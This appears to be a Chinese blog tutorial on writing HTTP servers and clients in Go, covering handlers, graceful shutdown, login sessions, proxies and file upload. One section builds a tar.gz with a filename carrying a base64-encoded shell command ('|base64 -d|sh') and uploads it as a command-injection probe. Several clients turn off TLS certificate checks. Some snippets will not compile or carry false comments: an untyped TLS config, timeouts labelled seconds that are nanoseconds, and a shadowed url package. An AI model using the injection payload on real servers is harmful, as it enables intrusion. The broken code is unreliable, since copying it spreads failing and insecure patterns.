用go实现http服务端和请求端

一、概述

本文旨在学习记录下如何用go实现建立一个http服务器,同时构造一个专用格式的http客户端。

二、代码实现

2.1 构造http服务端

1、http服务处理流程

基于HTTP构建的服务标准模型包括两个端,客户端(Client)和服务端(Server)。HTTP 请求从客户端发出,服务端接受到请求后进行处理然后将响应返回给客户端。所以http服务器的工作就在于如何接受来自客户端的请求,并向客户端返回响应。

  • 使用http.HandleFunc实现http服务,返回hello world
Go 复制代码
package main

import (
   "fmt"
   "net/http"
)

func HelloHandler(w http.ResponseWriter, r *http.Request) {
   fmt.Fprintf(w, "Hello World")
}

func main () {
   http.HandleFunc("/", HelloHandler)
   http.ListenAndServe(":8000", nil)
}
  • 使用http.Handle实现http服务
Go 复制代码
package main

import (
   "fmt"
   "net/http"
)

type HelloHandlerStruct struct {
   content string
}

//必须实现此方法,且名称为ServerHTTP
func (handler *HelloHandlerStruct) ServeHTTP(w http.ResponseWriter, r *http.Request) {
   fmt.Fprintf(w, handler.content)
}

func main()  {
   http.Handle("/", &HelloHandlerStruct{content: "Hello World"})
   http.ListenAndServe(":8000", nil)
}
  • 优雅的关闭http服务
Go 复制代码
package main

import (
	"context"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"os/signal"
	"syscall"
	"time"
)

type EchoHandler struct{}

func (handler EchoHandler) ServeHTTP(writer http.ResponseWriter, request *http.Request) {
	// 设置响应头
	writer.Header().Add("X-Data", "foo")

	// 设置相应的cookie
	http.SetCookie(writer, &http.Cookie{
		Name:   "x-cookie",
		Value:  "bar",
		MaxAge: 86400,
		Secure: true,
	})
	//设置响应状态码为200
	writer.WriteHeader(200)

	// 设置响应体,打印网络请求信息
	fmt.Fprintln(writer, "===== Network =====")
	fmt.Fprintln(writer, "Remote Address:", request.RemoteAddr)
	fmt.Fprintln(writer)

	// 设置响应体,打印请求方法 url host 协议信息
	fmt.Fprintln(writer, "===== Request Line =====")
	fmt.Fprintln(writer, "Method: ", request.Method)
	fmt.Fprintln(writer, "URL: ", request.URL)
	fmt.Fprintln(writer, "Host: ", request.Host)
	//fmt.Fprintln(writer, "URI: ", request.RequestURI)
	fmt.Fprintf(writer, "Protocol: %v major=%v minor=%v\n", request.Proto,
		request.ProtoMajor, request.ProtoMinor)
	fmt.Fprintln(writer)

	// 设置输出请求的请求头
	fmt.Fprintln(writer, "===== Header =====")
	for k, v := range request.Header {
		fmt.Fprintf(writer, "%v: %v\n", k, v)
	}
	fmt.Fprintln(writer)

	// 设置输出请求的body
	body, err := ioutil.ReadAll(request.Body)
	if err == nil && len(body) > 0 {
		fmt.Fprintln(writer, "===== Raw Body =====")
		fmt.Fprintln(writer, string(body))
	}
}

func main() {
	// 创建系统信号接收器
	done := make(chan os.Signal)
	signal.Notify(done, os.Interrupt, syscall.SIGINT, syscall.SIGTERM)

	// 创建 HTTP 服务器
	server := &http.Server{
		Addr:    ":8000",
		Handler: EchoHandler{},
	}

	// 启动 HTTP 服务器
	go func() {
		log.Println("Server starting...")
		if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
			log.Fatalf("ListenAndServe: %v", err)
		}
	}()

	// 监听系统信号并执行关闭操作
	<-done
	log.Println("Server shutting down...")

	// 创建一个超时上下文,确保关闭操作不会无限期等待
	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
	defer cancel()

	if err := server.Shutdown(ctx); err != nil {
		log.Fatal("Shutdown server:", err)
	}

	log.Println("Server gracefully stopped")
}

2.2 构建http客户端

1、基本介绍及使用

net/http 包提供了最简洁的 HTTP 客户端实现,无需借助第三方网络通信库(比如 libcurl)就可以直接使用最常见的 GET 和 POST 方式发起 HTTP 请求。

func (c *Client) Get(url string) (r *Response, err error)

func (c *Client) Post(url string, bodyType string, body io.Reader) (r *Response, err error)

func (c *Client) PostForm(url string, data url.Values) (r *Response, err error)

func (c *Client) Head(url string) (r *Response, err error)

func (c *Client) Do(req *Request) (resp *Response, err error)

基本的代码实现:

Go 复制代码
package main

import (
	"bytes"
	"fmt"
	"io/ioutil"
	"net/http"
)

func main() {
	// 目标 URL
	baseUrl := "http://localhost"

	// 执行 GET 请求
	doGet(baseUrl + "/gettest")

	// 执行 POST 请求
	doPost(baseUrl + "/posttest")

	// 执行 POST Form 请求
	doPostForm(baseUrl + "/postform")
}

func doGet(url string) {
	response, err := http.Get(url)
	if err != nil {
		fmt.Println("GET request failed:", err)
		return
	}
	defer response.Body.Close()

	body, err := ioutil.ReadAll(response.Body)
	if err != nil {
		fmt.Println("Error reading response:", err)
		return
	}

	fmt.Println("GET Response:")
	fmt.Println(string(body))
}

func doPost(url string) {
	// 准备 POST 请求的 JSON 数据
	jsonPayload := []byte(`{"key": "value"}`)

	response, err := http.Post(url, "application/json", bytes.NewBuffer(jsonPayload))
	if err != nil {
		fmt.Println("POST request failed:", err)
		return
	}
	defer response.Body.Close()

	body, err := ioutil.ReadAll(response.Body)
	if err != nil {
		fmt.Println("Error reading response:", err)
		return
	}

	fmt.Println("POST Response:")
	fmt.Println(string(body))
}

func doPostForm(url string) {
	// 准备 POST Form 数据
	data := url.Values{}
	data.Add("name", "Alice")
	data.Add("age", "30")

	response, err := http.PostForm(url, data)
	if err != nil {
		fmt.Println("POST Form request failed:", err)
		return
	}
	defer response.Body.Close()

	body, err := ioutil.ReadAll(response.Body)
	if err != nil {
		fmt.Println("Error reading response:", err)
		return
	}

	fmt.Println("POST Form Response:")
	fmt.Println(string(body))
}

2、自定义请求头,以及绕过https验证

Go 复制代码
package main

import (
    "fmt"
    "net/http"
    "net/url"
    "strings"
)

func main() {
    // 自定义请求头
    headers := map[string]string{
        "User-Agent": "Your Custom User-Agent",
        "Host":       "example.com", // 自定义 Host
    }

    // 目标 URL
    targetURL := "https://example.com" // 替换为你的目标 URL

    // 创建自定义 Transport
    tr := &http.Transport{
        TLSClientConfig:       {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
        TLSHandshakeTimeout:   5,                         // 超时时间(秒)
        DisableKeepAlives:     true,                     // 禁用连接复用
        IdleConnTimeout:       30,                       // 空闲连接超时时间(秒)
        MaxIdleConnsPerHost:   2,                        // 每个主机的最大空闲连接数
        ResponseHeaderTimeout: 5,                        // 响应头超时时间(秒)
    }

    // 创建自定义客户端
    client := &http.Client{
        Transport: tr,
    }

    // 发送 GET 请求
    response, err := client.Get(targetURL)
    if err != nil {
        fmt.Println("GET request failed:", err)
        return
    }
    defer response.Body.Close()

    // 读取响应内容
    body := make([]byte, 1024)
    n, err := response.Body.Read(body)
    if err != nil {
        fmt.Println("Error reading response:", err)
        return
    }

    // 输出响应内容
    fmt.Println("Response:")
    fmt.Println(string(body[:n]))
}

3、实现登录后会话保持以及自定义请求头

Go 复制代码
package main

import (
    "fmt"
    "net/http"
    "net/url"
    "strings"
)

func main() {
    // 自定义请求头
    headers := map[string]string{
        "User-Agent": "Your Custom User-Agent",
        "Host":       "example.com", // 自定义 Host
    }

    // 目标 URL
    baseURL := "https://example.com" // 替换为你的目标 URL
    loginURL := baseURL + "/login"   // 登录 URL
    securedURL := baseURL + "/secured-resource" // 需要 Token 的 URL

    // 准备登录请求的数据
    loginData := url.Values{
        "user": {"admin"},
        "pass": {"123456"},
    }

    // 创建自定义 Transport
    tr := &http.Transport{
        TLSClientConfig:       {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
        TLSHandshakeTimeout:   5,                         // 超时时间(秒)
        DisableKeepAlives:     true,                     // 禁用连接复用
        IdleConnTimeout:       30,                       // 空闲连接超时时间(秒)
        MaxIdleConnsPerHost:   2,                        // 每个主机的最大空闲连接数
        ResponseHeaderTimeout: 5,                        // 响应头超时时间(秒)
    }

    // 创建自定义客户端
    client := &http.Client{
        Transport: tr,
    }

    // 发送登录请求
    loginRequest, err := http.NewRequest("POST", loginURL, strings.NewReader(loginData.Encode()))
    if err != nil {
        fmt.Println("Error creating login request:", err)
        return
    }

    // 设置登录请求的头部和内容类型
    loginRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    for key, value := range headers {
        loginRequest.Header.Set(key, value)
    }

    loginResponse, err := client.Do(loginRequest)
    if err != nil {
        fmt.Println("Login request failed:", err)
        return
    }
    defer loginResponse.Body.Close()

    // 获取登录后的 Token
    var token string
    for _, cookie := range loginResponse.Cookies() {
        if cookie.Name == "token" {
            token = cookie.Value
            break
        }
    }

    if token == "" {
        fmt.Println("Login failed. No token received.")
        return
    }

    fmt.Println("Login successful. Token:", token)

    // 在后续请求中添加 Token 到请求头
    securedRequest, err := http.NewRequest("GET", securedURL, nil)
    if err != nil {
        fmt.Println("Error creating secured request:", err)
        return
    }

    securedRequest.Header.Set("Authorization", "Bearer "+token) // 添加 Token 到请求头
    for key, value := range headers {
        securedRequest.Header.Set(key, value)
    }

    securedResponse, err := client.Do(securedRequest)
    if err != nil {
        fmt.Println("Secured request failed:", err)
        return
    }
    defer securedResponse.Body.Close()

    // 读取并输出响应内容
    responseBody, err := ioutil.ReadAll(securedResponse.Body)
    if err != nil {
        fmt.Println("Error reading response body:", err)
        return
    }

    fmt.Println("Secured resource response:")
    fmt.Println(string(responseBody))
}

4、构造一个带特殊字符的压缩包,并且通过接口上传

Go 复制代码
package main

import (
    "archive/tar"
    "bytes"
    "compress/gzip"
    "crypto/tls"
    "fmt"
    "io"
    "io/ioutil"
    "mime/multipart"
    "net/http"
    "os"
)

func main() {
    // 压缩文件内容
    tarContent := generateTarGzContent("11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")

    // 发送 HTTP POST 请求
    url := "https://example.com/upload" // 替换为你的目标 URL
    uploadTarGz(url, tarContent)
}

func generateTarGzContent(filename string) []byte {
    var buf bytes.Buffer
    gw := gzip.NewWriter(&buf)
    tw := tar.NewWriter(gw)

    // 添加文件到 tar 压缩包
    fileContent := []byte("This is the content of 11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")
    header := &tar.Header{
        Name: filename,
        Size: int64(len(fileContent)),
    }
    if err := tw.WriteHeader(header); err != nil {
        fmt.Println("写入 tar 头部失败:", err)
        os.Exit(1)
    }
    if _, err := tw.Write(fileContent); err != nil {
        fmt.Println("写入文件内容失败:", err)
        os.Exit(1)
    }

    // 关闭 tar 和 gzip 缓冲区
    if err := tw.Close(); err != nil {
        fmt.Println("关闭 tar 失败:", err)
        os.Exit(1)
    }
    if err := gw.Close(); err != nil {
        fmt.Println("关闭 gzip 失败:", err)
        os.Exit(1)
    }

    return buf.Bytes()
}

func uploadTarGz(url string, tarContent []byte) {
    // 创建一个 Buffer,用于构建 multipart/form-data 请求体
    var requestBody bytes.Buffer
    writer := multipart.NewWriter(&requestBody)

    // 写入 tar.gz 文件
    part, err := writer.CreateFormFile("file", "test.tar.gz")
    if err != nil {
        fmt.Println("创建表单文件失败:", err)
        os.Exit(1)
    }
    if _, err := io.Copy(part, bytes.NewReader(tarContent)); err != nil {
        fmt.Println("写入文件内容失败:", err)
        os.Exit(1)
    }

    // 关闭 multipart writer
    writer.Close()

    // 创建 HTTP 请求
    req, err := http.NewRequest("POST", url, &requestBody)
    if err != nil {
        fmt.Println("创建请求失败:", err)
        os.Exit(1)
    }
    req.Header.Set("Content-Type", writer.FormDataContentType())

    // 创建一个自定义的 Transport,用于跳过 HTTPS 证书验证
    tr := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }

    // 使用自定义 Transport 发起请求
    client := &http.Client{Transport: tr}
    response, err := client.Do(req)
    if err != nil {
        fmt.Println("请求失败:", err)
        os.Exit(1)
    }
    defer response.Body.Close()

    // 读取响应内容
    responseBody, err := ioutil.ReadAll(response.Body)
    if err != nil {
        fmt.Println("读取响应内容失败:", err)
        os.Exit(1)
    }

    fmt.Println("响应内容:")
    fmt.Println(string(responseBody))
}

5、设置http代理

Go 复制代码
package main

import (
    "fmt"
    "net/http"
    "net/url"
    "os"
)

func main() {
    // 创建 HTTP 客户端,并设置代理
    proxyURL, err := url.Parse("http://127.0.0.1:8080") // 替换为您的代理服务器地址
    if err != nil {
        fmt.Println("解析代理地址失败:", err)
        os.Exit(1)
    }

    client := &http.Client{
        Transport: &http.Transport{
            Proxy: http.ProxyURL(proxyURL),
        },
    }

    // 创建 HTTP 请求
    url := "https://example.com" // 替换为您要请求的目标 URL
    request, err := http.NewRequest("GET", url, nil)
    if err != nil {
        fmt.Println("创建请求失败:", err)
        os.Exit(1)
    }

    // 发送 HTTP 请求
    response, err := client.Do(request)
    if err != nil {
        fmt.Println("请求失败:", err)
        os.Exit(1)
    }
    defer response.Body.Close()

    // 读取响应内容
    responseBody := make([]byte, 0)
    buffer := make([]byte, 1024)
    for {
        n, err := response.Body.Read(buffer)
        if n > 0 {
            responseBody = append(responseBody, buffer[:n]...)
        }
        if err != nil {
            break
        }
    }

    fmt.Println("响应内容:")
    fmt.Println(string(responseBody))
}
相关推荐
用户9623779544837 分钟前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机4 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机4 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954485 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star5 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954489 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
不可能的是1 天前
前端 SSE 流式请求三种实现方案全解析
前端·http
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
花酒锄作田5 天前
Gin 框架中的规范响应格式设计与实现
golang·gin
一次旅行5 天前
网络安全总结
安全·web安全